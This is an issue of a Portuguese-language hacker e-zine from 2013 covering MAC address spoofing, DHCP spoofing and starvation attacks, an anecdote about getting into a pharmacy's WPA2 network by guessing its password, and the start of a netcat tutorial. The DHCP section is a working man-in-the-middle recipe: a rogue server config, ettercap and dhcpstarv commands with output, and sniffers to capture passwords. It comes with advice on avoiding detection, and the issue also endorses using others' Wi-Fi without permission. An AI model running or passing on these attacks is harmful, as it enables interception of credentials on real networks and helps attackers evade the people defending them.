ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/BOboZine/b0b0Zine02
                             _
                            (_)                 _
                               _         .=.   (_)
                              (_)   _   //(`)_
                                   //`\/ |\ 0`\\
                                   ||-.\_|_/.-||
                                   )/ |_____| \(    _
                                  0   #/\ /\#  0   (_)
                                     _| o o |_
                              _     ((|, ^ ,|))
                             (_)     `||\_/||`
                                      || _ ||      _
                                      | \_/ |     (_)
                                  0.__.\   /.__.0
                                   `._  `"`  _.'
                                      / ;  \ \
                                    0'-' )/`'-0
                                         0`

                 888b.  .d88b.  8     .d88b.  8888P O
                 8wwwP  8P  Y8  88b.  8P  Y8    dP  w 8d8b. .d88b
                 8   b  8b  d8  8  8  8b  d8   dP   8 8P Y8 8.ddb
                 888P'  `Y88P'  88P'  `Y88P'  d8888 8 8   8 `Y88P

                                                                Edição: 00x02
                                                                Fevereiro de 2013

         "O mundo não é mais controlado por armas, energia ou dinheiro.
          É controlado por cifras e dados." - Filme "Sneakers", 1992.

                              ..:: Introdução ::..

      E aí pessoal, acharam que a e-zine iria morrer na primeira edição? rs
     Até que a primeira edição conseguiu alguns leitores e rendeu alguns elo-
     gios (acredite, isso é muito importante!). Andei sumido por uns tempos,
     sabe como é né? Os estudos... O que você sabe nunca é o suficiente.
     O tempo está passando e estou vendo como necessidade escrever mais textos,
     justamente pelo fato de aprender mais escrevendo eles. Bem, para quem
     está se deparando comigo agora, o propósito dessa zine não é, e nem tem
     como objetivo, chegar aos pés de zines como a TheBugMagazine e Cogumelo
     Binário. O objetivo aqui é compartilhar informações para toda uma grande
     massa de newbies famintos por conhecimento que perambulam internet a
     fora em busca de novas informações.
     Se você quiser publicar algum texto meu no seu blog/site, tudo bem, pode
     publicar. Mas por favor, meu nick é B0b0_d4_c0rt3 e o site é B0b0Labs, ok?
     Coloque isso nos créditos. É chato encontrar algum texto meu com nick de
     outro cara ;(
     Mas enfim, espero que gostem desta edição! Go go go...

                                 Tópicos

          [1] Alterando o endreço MAC ....................... B0b0_d4_c0rt3
          [2] DHCP Attacks  ................................. B0b0_d4_c0rt3
          [3] Querido diário ................................ B0b0_d4_c0rt3
          [4] Netcat: A série ............................... B0b0_d4_c0rt3
          [5] Filmes Hacku's ................................ B0b0_d4_c0rt3
          [6] Enviando mensagens para users logados ......... B0b0_d4_c0rt3
          [7] Free Software song ............................ Richard Stallman
          [8] FIM ........................................... B0b0_d4_c0rt3

               [1]========================================[+]
                 |        Alterando o endereço MAC     	  |
               [+]========================================[1]

  [ 0x100  Introducting... =D

    Primeiro de tudo acho que todos aqui já sabem o que é uma placa de rede, afinal,
    se conseguiu esse paper é porque está conectado a uma rede por meio de uma NIC.
    NIC é uma outra forma de se referir a uma interface de rede, é a sigla para
    Network Interface Card.

    O objetivo principal desse texto é discutir sobre a alteração do endereço MAC.
    A ideia é mostrar como na prática os sistemas operacionais salvam na memória os
    endereços MAC. E como eles o acessam. (E como podemos alterá-lo).

  [ 0x200  Interface de rede e endereço MAC

    As interfaces de rede são equipamentos responsáveis por prover a comunicação
    dos equipamentos em uma rede (computadores, roteadores, switchs e etc).

    Os fabricantes de placas de rede inserem algumas informações em uma memória EEPROM
    nestas placas, dentre as várias informações que são armazenadas encontramos
    quantidade que dados que serão enviados, recebidos, buffer, etc, e um identicador:
    uma sequência única no MUNDO de 48 bits.

    Para que estes equipamentos possam trocar dados entre si, eles precisam destes
    identificadores na camada de enlace para que os frames ethernet cheguem ao seu
    destino e que o destino saiba para quem responder.

    Este identificador é o famoso endereço "MAC", normalmente representado por 12
    algarismos hexadecimais.

    Em uma rede Ethernet (essas no qual usamos no dia-a-dia em LAN's), os frames
    trocados pelos computadores tem em seu cabeçalho, no endereço de origem e destino,
    o MAC das máquinas que estão se comunicando.

    Como as camadas de protocolos funcionam de modo independente um do outro, a
    camada do Ethernet precisa apenas saber o MAC do destinatário, independente
    do sistema já ter o endereço IP (afinal, quem irá transportar os datagramas IP
    serão os frames Ethernet). Então, quando já se sabe o endereço IP mas não o
    MAC, a camada de rede utiliza-se do protocolo ARP para fazer a resolução de
    "IP para MAC" e guardar temporiariamente em cache as associações IP/MAC no
    sistema.

    Uma coisa interessante é que o endereço MAC é implementado em qualquer dispositivo
    que interaja em uma rede ethernet, ou seja, placas PCI, wireless, roteadores,
    tablets, smartphones... Tudo isso tem endereço MAC.

    Resumindo: Os fabricantes de placas de rede inserem nesses dispositivos endereços
    únicos que serão usados pelo protocolo de enlace Ethernet para a troca de frames.

    Como o foco aqui não é Ethernet, ARP etc, vamos prosseguir com o texto...

  [ 0x300 Porque trocar meu endereço MAC?

    Bem, se você não sabe porque trocar seu endereço MAC, então é melhor nem tentar
    fazer isso rsrs. Mas existem algumas situações que trocar esse endereço se faz
    necessário, como por exemplo, para quem se conecta em redes em que só é liberado
    acesso para determinadas máquinas cujo MAC address esteja especificado no acess
    point/roteador. Ou também para quem quer anonimidade em uma rede, não podendo
    ser identificado pelo MAC original.

    Enfim, existem várias situações que trocar o endereço da placa seria uma boa.

    OK, B0b0! Mas se o endereço MAC está armazenado em uma memória EEPROM, como é
    possível alterar o endereço dela? Uma vez que alterar dados de EEPROM envolveria
    altos conhecimentos técnicos de eletrônica e programação.

    Beleza, foi isso que eu me perguntei antes de pesquisar mais sobre isso.

  [ 0x301 Alterando o MAC no Windows

    Nas versões antigas do Windows, da versão 95 até á 2000, quando o Windows
    requisitava o MAC da placa de rede do computador, ele se comunicava diretamente
    com a placa por meio do driver.

    Creio que pela falta de agilidade nesse procedimento de acesso as informações da
    placa, a Microsoft a partir do Windows XP implementou uma nova maneira de acessar
    as informações da NIC de forma mais rápida. Ao invés de toda vez acessar a placa
    para pegar o MAC, o sistema simplesmente pega as principais informações da interface
    de rede e salva no registro. Assim, toda vez que o sistema tiver que fornecer o
    endereço MAC do computador, ele consultará uma determinada chave do registro, não
    a placa.

    É aí que entra os programas que alteram o endereço MAC!

    Para ver seu endereço MAC, você pode rodar o comando "ipconfig" com o parâmetro /all
    ou o comando "getmac" no prompt do Windows, no meu computador essa foi a saída:

    Adaptador Ethernet Conexão local 2:

    Sufixo DNS específico de conexão. . . . . . :
    Descrição . . . . . . . . . . . . . . . . . : NIC Fast Ethernet PCI-E Realtek
    Família RTL8101E (NDIS 6.20) #2
    Endereço Físico . . . . . . . . . . . . . . : 00-30-70-D9-21-30          <- MAC Address :D
    DHCP Habilitado . . . . . . . . . . . . . . : Sim
    Configuração Automática Habilitada. . . . . : Sim
    Endereço IPv4. . . . . . . .  . . . . . . . : 192.168.1.4(Preferencial)

    Na verdade saiu bem mais coisa, mas o que nos interessa é a opção "Endereço Físico" que
    informa o endereço físico da minha placa: 00-30-70-D9-21-30. No seu PC obviamente vai
    estar diferente.

  [ 0x302 Mudança de MAC no Windows 7

    O Windows 7 salva o seu endereço MAC em um valor do tipo string em alguma chave localizada
    no caminho:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}

    Quando disse "alguma chave", quis dizer que como a subchave {4D36E972-E325-11CE-BFC1-08002BE10318}
    armazena várias informações sobre os adaptadores de rede (incluindo até interfaces virtuais como
    as do VMware e do VirtualBox), uma das várias sub-chaves será a da interface que está sendo usada
    pelo seu sistema.

    Dentre as várias sub-chaves, encontrei uma chamada "0015" que NO MEU CASO armazena dados da
    minha placa.

    No meio dos vários dados encontrados na chave 0015, encontrei um valor do tipo string
    chamado "NetworkAddress" armazenando o endereço MAC do meu computador.

    Para então "alterar o endereço MAC" do meu computador, basta dar 'dois cliques' no valor
    NetworkAddress e mudar o que estiver salvo lá. Mas só de alterar o MAC no registro não quer
    dizer que a alteração já entrou em vigor, para que isso aconteça, desative a interface de
    rede e ative-a novamente:

    C:\> netsh interface set interface "Conexão local 2" disabled
    C:\> netsh interface set interface "Conexão local 2" enabled

    Obs: é preciso ter permissões de administrador pra desativar a placa via linha de comando.
    Obs²: é possível desativar a placa lá em "Conexões de rede" no "Painel de Controle" ;D
    Obs³: ou você pode reiniciar seu computador.

    Vamos supor que o NetworkAddress continha o valor 003070D92130. Alterei para: 003070D92131.
    Desabilitei e habilitei minha placa e rodei ipconfig /all novamente:

    Adaptador Ethernet Conexão local 2:

    Sufixo DNS específico de conexão. . . . . . :
    Descrição . . . . . . . . . . . . . . . . . : NIC Fast Ethernet PCI-E Realtek
    Família RTL8101E (NDIS 6.20) #2
    Endereço Físico . . . . . . . . . . . . . . : 00-30-70-D9-21-31               <- Alterado!
    DHCP Habilitado . . . . . . . . . . . . . . : Sim
    Configuração Automática Habilitada. . . . . : Sim
    Endereço IPv4. . . . . . . .  . . . . . . . : 192.168.1.4(Preferencial)

    Pronto!

    No seu caso, você terá que ir fuçando manualmente as chaves e subchaves até encontrar a que
    armazena dados da sua NIC. Você também pode usar a opção de pesquisa que o Regedit dispõe
    para encontrar determinados valores ou chaves ;D

    Bem, como meu experimento foi só no Windows 7, este procedimento pode ser diferente em uma
    versão anterior ou posterior.

    Também é possível fazer essa alteração de uma forma mais fácil. Basta acessar o Painel de
    controle, ir lá nas opções de rede, ir nas "Propriedades" da NIC que você quer alterar
    o endereço físico, clicar na aba "Avançado", selecionar a opção "Endereço de rede" e
    adicionar um novo MAC address.

  [ 0x500 E no Linux?

    Como todos sabemos, o GNU/Linux não possui registro. Os dados carregados na memória desse
    sistema pode ser encontrados nos diretórios virtuais "/proc" e "/sys".

    No Linux, o endereço MAC é encontrado no arquivo "address" no caminho /sys/class/net/INTERFACE*
    O "INTERFACE" varia de cada interface de rede no computador. No meu caso, o arquivo address
    que contém o MAC do wlan0 é encontrado em /sys/class/net/wlan0/address.

    Com apenas uma linha de comando você consegue fazer a alteração do MAC Address usando o
    comando ifconfig:

        ifconfig INTERFACE hw ether NOVOMAC

    Você precisa saber qual é a interface de rede que seu sistema está usando, no meu caso é
    wlan0, como estou conectado via wireless. Caso não saiba, rode o comando "ifconfig" que
    ele irá listar as interfaces do seu computador.

    Olhe como é a saída do meu ifconfig na iface wlan0:

       wlan0     Link encap:Ethernet  Endereço de HW 00:26:c7:aa:d2:d8
                 inet end.: 192.168.1.2  Bcast:192.168.1.255  Masc:255.255.255.0
                 endereço inet6: fe80::226:c7ff:feaa:d28c/64 Escopo:Link
                 UP BROADCAST RUNNING MULTICAST  MTU:1500  Métrica:1
                 pacotes RX:345 erros:0 descartados:0 excesso:0 quadro:0
                 Pacotes TX:422 erros:0 descartados:0 excesso:0 portadora:0
                 colisões:0 txqueuelen:1000
                 RX bytes:197651 (197.6 KB) TX bytes:66757 (66.7 KB)

    Como vocês podem ver, na primeira linha temos o "Endereço de HW" que nos informa o MAC
    do meu computador.

    Antes de mais nada, uma observação: O novo MAC só entra em vigor quando a interface for
    reiniciada (não muito diferente do Windows).

    Então, terei que desativar minha placa,

       # ifconfig wlan0 down

    alterar o MAC

       # ifconfig wlan0 hw ether 00:26:c7:aa:2d:66

    e ativá-la novamente:

       # ifconfig wlan0 up

    Analizando novamente o MAC, teremos:
                                                                            -> Má rapá :D
        B0b0@b0b0book:~$ ifconfig wlan0                                    |
        wlan0     Link encap:Ethernet  Endereço de HW 00:26:c7:aa:2d:66  <-
                  inet end.: 192.168.1.2  Bcast:192.168.1.255  Masc:255.255.255.0
                  endereço inet6: fe80::226:c7ff:feaa:d28c/64 Escopo:Link
                  UP BROADCAST RUNNING MULTICAST  MTU:1500  Métrica:1
                  pacotes RX:32688 erros:0 descartados:0 excesso:0 quadro:0
                  Pacotes TX:19927 erros:0 descartados:0 excesso:0 portadora:0
                  colisões:0 txqueuelen:1000
                  RX bytes:45252163 (45.2 MB) TX bytes:2129621 (2.1 MB)

  [ 0x400 Conferindo se o MAC foi mesmo trocado

    Uma maneira que você pode fazer para conferir se o MAC do PC foi mesmo alterado,
    pode ser usando o comando "arp" de um outro computador.

    No início do texto eu disse que os sistemas em rede utilizam o protocolo ARP
    para capturar o MAC dos outros equipamentos.

    Mas eles precisam guardar por um tempo o endereço MAC dos respectivos IPs ativos
    na rede para não ficar 'perguntando' toda hora e consequentemente gerar tráfego
    desnecessário.

    Assim, os IPs e MACs são armazenados em uma espécie de tabela, esta tabela pode
    ser acessada pelo então já citado comando "arp".

    Para comprovar a alteração, dê um ping no IP do PC com MAC alterado:

    [b0b0@PC ~]$ ping 192.168.1.4 -c 3
    PING 192.168.1.4 (192.168.1.4) 56(84) bytes of data.
    64 bytes from 192.168.1.4: icmp_req=1 ttl=128 time=10.0 ms
    64 bytes from 192.168.1.4: icmp_req=2 ttl=128 time=2.93 ms
    64 bytes from 192.168.1.4: icmp_req=3 ttl=128 time=1.59 ms

    Depois, acesse a tabela ARP do sistema, execute "arp -a" no shell:

    [b0b0@PC ~]$ arp -a
    ? (192.168.1.4) em 00:30:70:d9:21:31 [ether] em wlan0     <---- Tcharamm!
    ? (192.168.1.1) em d3:e8:7b:3a:c9:1f [ether] em wlan0
    [b0b0@PC ~]$

  [ 0x500 Conclusão

    A partir de agora temos uma noção melhor de como funcionam os programas que conseguem
    alterar o MAC de nossos computadores, como o sMAC, aMAC e machanger. Também aprendemos
    que a mudança não é permanente, ou seja, ela não altera os dados das nossas NIC's.

    Se isso te serviu para alguma coisa, façam o que quiser com o conhecimento adquirido,
    tanto para o bem ou para o mal!

               [2]========================================[+]
                 |             DHCP Attacks     	  |
               [+]========================================[2]

   [ Introdução ao DHCP

     Em uma rede TCP/IP, todas as máquinas precisam ser identificadas com números IP para
     serem reconhecidas nela. Para que um computador consiga se comunicar sem problemas
     na rede, ele precisa basicamente de duas informações:
        * Endereço IP (único na rede).
        * Máscara de subrede.
     Para que este computador tenha uma maior interação com a rede (e com outras redes),
     são necessarias mais outras duas informações: endereço do gateway e DNS.
     Em redes pequenas é fácil configurar manualmente essas informações em cada host.
     Mas o problema começa quando a rede tem muitos computadores e atribuir IP, máscara,
     gateway e DNS manualmente se torna um problema.
     Então para isso, foi criado o Protocolo de configuração dinâmica de host, em inglês,
     Dynamic Host Configuration Protocol (D.H.C.P). O que esse serviço faz, é fornecer
     as informações que os computadores precisam, atribuindo um IP diferente a cada
     máquina de forma dinâmica e automática.

   [ Como o DHCP funciona

     O DHCP funciona no modo cliente/servidor. Em redes internas de grandes instituições,
     empresas, e etc, é comum encontrar servidores dedicados quase que apenas para o DHCP.
     Em redes domésticas os roteadores possuem um servidor DHCP ativo por padrão.

     Todo servidor DHCP possui um tempo de concessão para cada IP fornecido. Isso quer dizer
     que o endereço IP que o server concede aos clientes possui um tempo de utilização.
     Isso serve para caso um host se desconecte da rede, após um tempo o IP dele possa ser
     reutilizado por outro host.

     O protocolo DHCP atua sobre o procotolo de transporte UDP e o serviço DHCP usa a porta
     67 para receber requisições dos clientes e a porta 68 para responder a eles. Atualmente
     todo sistema operacional, possui um cliente dhcp.

   [ Como um cliente DHCP envia requisições ao servidor se ele ainda não tem um IP ?

     Quando uma máquina cliente solicita um ip para o DHCP server da rede, ela não tem a
     mínima ideia de quem é o servidor (ela nem sabe o IP dele). Então ela manda uma
     requisição DHCP em broadcast encapsulada em um datagrama UDP cuja porta de origem é 68
     e a de destino 67. Como o modo de envio é em broadcast, o endereço de destino é
     255.255.255.255. O MAC do destino também é em broadcast ff:ff:ff:ff:ff:ff, já que ela
     nem sabe o endereço físico do server. Como ela ainda não tem um IP, o endereço que será
     usado até então é o ip de rede: 0.0.0.0.

     Desse modo, todas as máquinas da rede local receberá a requisição DHCP, mas apenas
     o servidor irá processar o pedido e irá responder (ainda em broadcast) com as
     informações para a máquina. Só o cliente que fez a primeira requisição tomará as
     informações para si. Os outros hosts que receberem a resposta do servidor simplesmente
     ignorará, uma fez que o frame ethernet gerado pelo servidor possui o MAC do cliente.

   [ DHCP Spoofing

     Podemos nos aproveitar do funcionamento do DHCP para capturar o tráfego dos hosts,
     realizando o conhecido MITM: Man-in-the-middle. Onde nosso computador ficará entre
     a comunicação dos clientes e o verdadeiro gateway da rede. Esta técnica é conhecida
     como "DHCP Spoofing". Uma vez todos os dados transmitidos e recebidos pelos hosts
     passarem pelo nosso sistema, podemos utilizar de sniffers para capturar senhas e até
     roubar sessões já antes estabelecidas.

   [ Como funciona o ataque

     Já que as requisições DHCP são enviadas em broadcast em toda rede, podemos criar um
     servidor DHCP malicioso cujo endereço do gateway seja o IP da nossa máquina e esperar
     pelas requisições dos clientes, "disputando" com o servidor DHCP real.
     Uma vez uma máquina cliente ter como gateway o IP do 'hacker', todos os dados serão
     transmitidos para ele.

     Na prática, basicamente precisaremos fazer o seguinte:

      * Configurar um DHCP Server, cujo IP do gateway seja o IP da nossa própria máquina.
       * Rodar o servidor.
        * Esperar pelos clientes....

     A desvantagem desse tipo de ataque, é que não são todas as máquinas que iremos pegar,
     e se um dos usuários da rede for esperto, ele pode desconfiar caso o IP do gateway
     da máquina dele estiver configurado com um endereço diferente do normal :¬)

   [ Preparar... Apontar...

     Existem programas prontos que fazem esse ataque por nós. Mas neste artigo optei
     por fazer esse procedimento "na unha" mesmo rs. Os testes foram feitos em um sistema
     Debian 6.0, e a vítima um Windows XP.

     Para configurar o servidor, teremos que instalar o seguinte pacote:

       root@Deadpool:~# apt-get install dhcp3-server

     Uma vez instalado o pacote, ele criará o diretório "dhcp" em /etc.
     Neste diretório, edite o arquivo de configuração dhcpd.conf.
     Recomendo apagar este arquivo ou fazer um backup dele, pois iremos
     usar apenas do código abaixo.

     root@Deadpool:~# nano /etc/dhcp/dhcpd.conf

      subnet 192.168.1.0 netmask 255.255.255.0 {
       range 192.168.1.40 192.168.1.60;
       option routers 192.168.1.6;
       option domain-name-servers 8.8.8.8;
       option broadcast-address 255.255.255.255;
      }

     No meu caso, o DHCP distribui IPs para uma rede classe C. As informações são:
     Endereço de rede:              192.168.1.0
     Máscara de subrede:            255.255.255.0
     Broadcast:                     255.255.255.255
     Range de ips que serão usados: de 192.168.1.40 até 192.168.1.60
     Gateway:                       192.168.1.6    (O endereço IP do próprio servidor)
     Servidor de DNS:               8.8.8.8

     O perigo está na linha: "option routers 192.168.1.6;". Esta linha determina
     para as máquinas clientes quem é o gateway delas, neste caso o IP que será
     atribuido é o do próprio servidor (a máquina do atacante).

     Agora que já instalamos o servidor e configuramos ele, precisamos reiniciá-lo
     para que o dados que configuramos entre em vigor:

       root@Deadpool:~# service isc-dhcp-server restart

     Pronto! O servidor está configurado e quase pronto pro ataque!

     "Quase !?" O que falta mais?

     Como nosso computador além de atuar como servidor de DHCP, ele terá que ser um
     roteador também! Então para isso, teremos que ativar a capacidade do nosso sistema
     de fazer "forwarding" de pacotes que não são destinados a ele.

     Vamos a ativar dando o valor TRUE para o arquivo de kernel "ip_forward":

       root@Deadpool:~# echo 1 > /proc/sys/net/ipv4/ip_forward

     Agora sim...
     Duas dicas:
      1 - Certifique-se a rota default dos dados repassados serão para o gateway
          original com o "route -n". Afinal, não queremos que ninguém fique sem
          internet né?

      2 - Adapte o ataque para cada rede em que será realizado. Não queremos um
          servidor DHCP distribuindo IPs de classe C em uma rede de A.

   [ Fogo!!!

     Agora é só preparar os sniffers para capturar logins de FTP, Telnet (sim, hoje em dia
     quase não se usa isso, mas se estiver snifando uma rede grande poderá quem sabe catar
     senha de roteador), SMTP e etc. Um bom sniffer que pode nos ajudar nessa façanha é o
     dsniff. Outro muito bom também é o ettercap.

     Para capturar senhas com o dsniff, simplesmente digite: "dsniff" no shell. Com este
     sniffer você pode especificar a interface que será farejada com o parâmetro -i (por
     padrão ele já detecta a iface que tá sendo usada), e pode gravar os dados capturados
     em um arquivo com "-w". Ex:

       root@Deadpool:~# dsniff -i eth0 -w capturados

     Para capturar senhas com o ettercap, digite: ettercap -T -q
     Uma coisa chatinha desse sniffer, é que toda vez que ele é encerrado, ela volta o
     arquivo ip_forward ao normal (insere o '0' novamente, desativando o forwarding).
     Dica: altere o arquivo etter.conf para rodar o ettercap como root. (Não vou entrar
     em detalhes sobre o Ettercap, pois pretendo dedicar um texto a ele.)

     Na grande maioria das vezes, o cara que vai realizar um MITM possui um sistema dotado
     de interface gráfica. Então, nada melhor que desfrutar de todos os recursos do
     excelente Wireshark para nós analizarmos todo o tráfego. Com o Wireshark você pode
     filtrar a captura para mostrar apenas o(s) protocolo(s) que você queria pegar dados
     (e que dados você quer pegar).

   [ Concluindo

     Pronto! Agora sabemos como funciona e como arquitetar um ataque de DHCP Spoofing. Só
     tenha cuidado para não ser identificado.
     Algumas dicas:
                    * Altere o endereço MAC da sua máquina.
                    * Não faça esse ataque por muito tempo. Pois uma vez os cara da
                      área de TI perceberem uma queda no desempenho da rede, ou outras
                      anomalias, eles podem tomar medidas contra isso (DHCP Snooping!).
                    * Não deixe portas abertas no seu sistema que possa te identificar!
                      (samba, nfs, ssh, ftp...). Alguém pode te escanear.

     Ei... lembra quando eu disse que "existem programas prontos que fazem isso por nós" ?
     Para o texto não ficar muito vago e chato, vamos ver como fazer isso com o Ettercap!!!

  [ DHCP Spoofing with Ettercap

    Para tal façanha o esquema é o seguinte:

       ettercap -T -q -i IFACE -M dhcp:FAIXA-DE-IPs/MÁSCARA.DE.SUBREDE/ENDEREÇO.DNS

    Não precisamos especificar o nosso IP, pois o ettercap já subentende que o IP do gateway
    é o IP do cara que o está executando.

    Na prática seria o seguinte:

       root@Deadpool:~# ettercap -T -q -i eth0 -M dhcp:192.168.1.10-50/255.255.255.0/8.8.8.8

       ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

       Listening on eth0... (Ethernet)

         eth0 ->	08:00:27:ED:EB:17       192.168.1.6     255.255.255.0

       SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
       Privileges dropped to UID 0 GID 0...

         28 plugins
         39 protocol dissectors
         53 ports monitored
       7587 mac vendor fingerprint
       1698 tcp OS fingerprint
       2183 known services

      DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 8.8.8.8
      Starting Unified sniffing...

      Text only Interface activated...
      Hit 'h' for inline help

      DHCP: [00:26:C7:AA:C3:9B] REQUEST 192.168.1.10
      DHCP spoofing: fake ACK [00:26:C7:AA:C3:9B] assigned to 192.168.1.10
      DHCP: [192.168.1.6] ACK : 192.168.1.10 255.255.255.0 GW 192.168.1.6 DNS 8.8.8.8

     Podemos perceber pelas últimas 3 linhas que uma máquina cujo MAC é 00:26:C7:AA:C3:9B
     recebeu o endereço 192.168.1.10.

   [ Aumentando o poder de destruição...

     Lembra quando eu disse que:
        "Todo servidor DHCP possui um tempo de concessão para cada IP fornecido" ...?

     E lembra quando eu disse:

        "[...] podemos criar um servidor DHCP malicioso cujo endereço do gateway seja o
         IP da nossa máquina e esperar pelas requisições dos clientes, "disputando" com
         o servidor DHCP real." ... ?

     Pois é, é possível a gente se aproveitar do tempo de concessão do servidor DHCP real
     para termos vantagem sobre a disputa com nosso "DHCP malicious". Isso utilizando
     uma técnica chamada de:

   [ DHCP Starvation

     Em bom e velho português (e traduzido pelo Google Translate), "starvation" significa
     "fome". O nome desse ataque faz referência ao que acontece quando ele está ocorrendo:

     Iremos 'comer' todos os endereços IPs que o servidor DHCP fornece. Dessa forma a gente
     consegue consumir todo (ou quase todo) range de IP's que o servidor consegue fornecer.
     Isso é muito bom no momento que iremos fazer DHCP spoofing. Pois uma vez o DHCP real
     não conseguir distribuir IPs para os clientes, irá sobrar apenas nosso servidor. Aí
     podemos fazer a festa!

     Mas B0b0, como isso é possível?

     Utilizando de um programa ou script especialmente projetado para esse tipo de ataque,
     da nossa máquina centenas de DHCP requests partirão para toda a rede. O servidor DHCP
     quando receber cada uma destas requisições ingenuamente irá atribuir um IP para elas.
     Como para cada IP fornecido há um tempo de concessão, por um determinado tempo, vários
     endereços IPs ficarão ocupados, impedindo que clientes legítimos os adquirem. Isso
     abre uma brecha para nós ativarmos nosso DHCP fake e receber as requisições de muitas
     máquinas.

   [ Botando a mão na massa

     Vamos usar a tool Dhcpstarv. Site oficial da ferramenta:
                http://dhcpstarv.sourceforge.net/

     Baixe-o neste link:
                http://sourceforge.net/project/platformdownload.php?group_id=212181

     Baixando, descompactando e instalando.

        root@Deadpool:~# wget http://ufpr.dl.sourceforge.net/project/dhcpstarv/dhcpstarv/0.2.1/dhcpstarv-0.2.1.tar.gz
        root@Deadpool:~# tar zxvf dhcpstarv-0.2.1.tar.gz
        root@Deadpool:~# cd dhcpstarv-0.2.1/
        root@Deadpool:~/dhcpstarv-0.2.1# ./configure
        root@Deadpool:~/dhcpstarv-0.2.1# make && make install

    Os parâmetros do dhcpstarv são estes:

        -h, imprime o help.
        -d, permite nós especificarmos o MAC do gateway para que os
            requests não ocorram em broadcast.
        -i, especifica a interface de rede que será usada.
        -e, permite que seja ignorado as respostas DHCP de um determinado
            servidor.
        -v, apresenta mensagem sobre o que está acontecendo.
        -p, não coloca a interface usada em modo promísuco.

     O parâmetro -e é útil quando estamos fazendo um ataque de DHCP Starvation e Spoofing
     simultaneamente. Isso serve para que o dhcpstarv não ataque nosso próprio DHCP do mal.
     Na prática, caso o ataque ocorra simultanemente com um DHCP Spoofing, teremos que
     especificar o nosso endereço IP para que o dhcpstarv ignore os replies do nosso server.

     O parâmetro -d também é muito útil, caso sabemos o endereço MAC do servidor DHCP. Desse
     modo todos os requests serão enviados diretamente ao servidor, sem a necessidade de
     ser em broadcast.

   [ Flodando...

     Chega de conversa e vamos lá!
     Um ataque básico seria simplesmente assim:

     root@Deadpool:~# dhcpstarv -i eth0

     Agora, se o MAC do gateway for 00:0e:f4:9a:1a:50. Fazemos o seguinte:

     root@Deadpool:~# dhcpstarv -i eth0 -d 00:0e:f4:9a:1a:50

     Se a gente quiser que as requisições DHCP não sejam respondidas pelo no nosso server fake,
     é só especificar o IP da nossa máquina, como em:

     root@Deadpool:~# dhcpstarv -i eth0 -e 192.168.1.6

   [ Fim.

     Aqui, floodar o DHCP do meu roteador demora muito.
     Mas se o ataque acontece em uma rede grande (como uma de faculdade),
     rapidinho consegue-se êxito.
     Pronto, acabei.

               [3]========================================[+]
                 |           Querido diário        	  |
               [+]========================================[3]

     Quebrar senhas Wifi é o sonho de muita gente. Uma vez eu estava trabalhando
     em uma loja que ficava ao lado de uma drogaria, a loja onde eu ficava não tinha
     internet ;( Mas a drogaria tinha!
     Naquela farmácia havia uma rede wireless WPA2 habilitada e graças a Deus o sinal
     pegava na minha loja. Eu pensava várias maneiras de conseguir a senha daquela
     rede. Até que resolvi pensar o seguinte: SE EU FOSSE OS CARAS DA FARMÁCIA, QUE
     SENHA EU COLOCARIA?

     Criei uma pequena lista de todas as possíveis senhas e resolvi testá-las uma
     a uma. Até que eu consegui conectar no Wifi deles: A senha era o telefone
     que estava estampado no topo da drogaria.

     Depois disso, desfrutei da internet (lenta e) gratuita por um bom tempo.

     Moral da história: Não adianta ter uma rede com uma criptografia forte se a
     senha é fraca.

               [4]========================================[+]
                 |           Netcat: A série       	  |
               [+]========================================[4]

     Vou tentar neste tópico enumerar o maior número de coisas possíveis a se fazer com
     o netcat. Este é o primeiro de vários outros tópicos que encontraremos nas próximas
     edições.

     Um canivete suíço, diferente de um canivete comum, possui muito mais utilidade por
     atender a várias necessidades de seu utilizador. Por isso o termo 'canivete suíço' é
     utilizado para se referir á algo que possui multi-utilidades.

     O netcat é um software aparentemente simples por ser leve e de utilização via linha
     de comando. Foi desenvolvido por "Hobbit" em 1996, trabalha com os protocolos de
     transporte TCP e UDP. Originalmente, foi desenvolvido para Unix, mas hoje está presente
     para os principais sistemas operacionais: Linux, Windows e Mac OS (Não esquecendo o fato
     de o linux e o mac os de certo modo, ser um tipo de unix também).

     O netcat, é comumente chamado de "canivete suíço" por ser utilizado de diversas maneiras
     envolvendo protocolos do TCP/IP e o sistema  operacional.
     Ao contrário do que se pensa, o netcat não é um software malicioso. Malicioso são as
     maneiras usadas pelo seu utilizador.

     O netcat é bem flexível, e pode ser utilizado como "cliente" para diversos protocolos de
     aplicação como: SMTP, FTP, POP3, HTTP, TELNET e etc. Isso se deve ao fato do netcat não
     atuar na camada de aplicação, mais sim, no protocolo de transporte. Dessa forma, é possível
     conectar em uma porta e rodar os comandos do protocolo de aplicação no servidor.

     Quando instalado em uma máquina, o netcat pode ser utilizado com o comando "nc" seguido
     de parâmetros. Basicamente, pode ser usado como servidor ou cliente.

    [ Parâmetros de utilização

     Por ser em modo texto, operar o netcat é necessário saber os parâmetros necessários. Os
     parâmetros são simples caracteres que representam o que queremos fazer com o ele.
     Dentre os vários parâmetros existentes, vejamos os mais utilizados:

     -l : listen, deixa o netcat em estado de escuta, esperando por uma conexão (geralmente usado
          em conjunto com o parâmetro -p).
     -p : port, define uma porta á ser usada para receber conexões.Ele é usado com a junção -p
          seguido do número da porta que será aberta. (Ex: nc -l -p 23)

          Obs: Se você rodar o netcat apenas no modo listen (-l), sem especificar a porta com
          -p, ele irá abrir uma porta alta de numeração aleatória.

     -v : verbose, com esta opção o processo de conexão será mais detalhado.
     -e: filename, especifica um arquivo que será executado após receber uma conexão.
     -u: UDP, por padrão, o netcat utiliza o protocolo TCP. Com a opção -u, faremos conexões
         usando o UDP.
     -z: zero mode, o modo zero faz com que o nc ao se conectar em um servidor, não mostre
         o banner e nem espere interação do usuário. Uso para portscan.
     -n: não fazer resolução de nomes.
     -w: especifica quantos segundos a conexão ficará estabelecida.

   [ Chat: o exemplo mais clichê do netcat!

    Para fazer uma espécie de Chat, teremos que abrir uma porta em uma máquina que irá atuar
    como servidor e se conectar á esta porta por uma outra máquina que será a cliente.
    Para isto usaremos a seguinte sintaxe na máquina servidora:

    C:\> nc -lvp 8989

    Explicação: o comando nc irá chamar o netcat, o parâmetro -l deixará em modo de 'listagem'
    á espera de conexão.A opção -v serve para que o processo de conexão seje detalhada, mostrando
